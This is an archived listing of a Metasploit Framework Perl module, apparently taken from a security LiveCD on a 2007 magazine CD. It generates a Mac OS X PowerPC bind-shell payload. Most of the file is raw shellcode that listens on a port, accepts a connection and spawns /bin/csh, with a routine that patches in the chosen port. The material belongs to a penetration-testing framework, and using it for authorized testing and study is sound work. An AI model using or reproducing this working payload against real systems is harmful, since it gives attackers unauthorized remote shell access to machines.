home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / osx_ppc_bind.pm < prev    next >
Text File  |  2006-06-30  |  2KB  |  77 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::osx_ppc_bind;
  11. use strict;
  12. use base 'Msf::PayloadComponent::BindConnection';
  13.  
  14. my $info =
  15. {
  16.   'Name'         => 'Mac OS X PPC Bind Shell',
  17.   'Version'      => '$Revision: 1.2 $',
  18.   'Description'  => 'Listen for connection and spawn a shell',
  19.   'Authors'      => [ 'H D Moore <hdm [at] metasploit.com>', ],
  20.   'Arch'         => [ 'ppc' ],
  21.   'Priv'         => 0,
  22.   'OS'           => [ 'osx' ],
  23.   'Size'         => '',
  24. };
  25.  
  26. sub new {
  27.   my $class = shift;
  28.   my $hash = @_ ? shift : { };
  29.   $hash = $class->MergeHashRec($hash, {'Info' => $info});
  30.   my $self = $class->SUPER::new($hash, @_);
  31.  
  32.   $self->_Info->{'Size'} = $self->_GenSize;
  33.   return($self);
  34. }
  35.  
  36. sub Build {
  37.   my $self = shift;
  38.   return($self->Generate($self->GetVar('LPORT')));
  39. }
  40.  
  41. sub Generate {
  42.   my $self = shift;
  43.   my $port = shift;
  44.   my $off_port = 34;
  45.   
  46.   # bind, listen, accept, dup2, vfork, execve(/bin/csh)
  47.   # /bin/csh + null < /bin/sh + setuid(0)
  48.   my $shellcode = pack('N*',
  49.   0x38600002,0x38800001,0x38a00006,0x38000061,
  50.   0x44000002,0x7c000278,0x7c7e1b78,0x4800000d,
  51.   0x00022212,0x00000000,0x7c8802a6,0x38a00010,
  52.   0x38000068,0x7fc3f378,0x44000002,0x7c000278,
  53.   0x3800006a,0x7fc3f378,0x44000002,0x7c000278,
  54.   0x7fc3f378,0x3800001e,0x38800010,0x9081ffe8,
  55.   0x38a1ffe8,0x3881fff0,0x44000002,0x7c000278,
  56.   0x7c7e1b78,0x38a00002,0x3800005a,0x7fc3f378,
  57.   0x7ca42b78,0x44000002,0x7c000278,0x38a5ffff,
  58.   0x2c05ffff,0x4082ffe5,0x38000042,0x44000002,
  59.   0x7c000278,0x7ca52a79,0x4082fffd,0x7c6802a6,
  60.   0x38630028,0x9061fff8,0x90a1fffc,0x3881fff8,
  61.   0x3800003b,0x7c0004ac,0x44000002,0x7c000278,
  62.   0x7fe00008,0x2f62696e,0x2f637368,0x00000000,
  63.   );
  64.  
  65.   my $port_bin = pack('n', $port);
  66.   substr($shellcode, $off_port, 2, $port_bin);
  67.   return($shellcode);
  68. }
  69.  
  70. sub _GenSize {
  71.   my $self = shift;
  72.   my $bin = $self->Generate(4444);
  73.   return(length($bin));
  74. }
  75.  
  76. 1;
  77.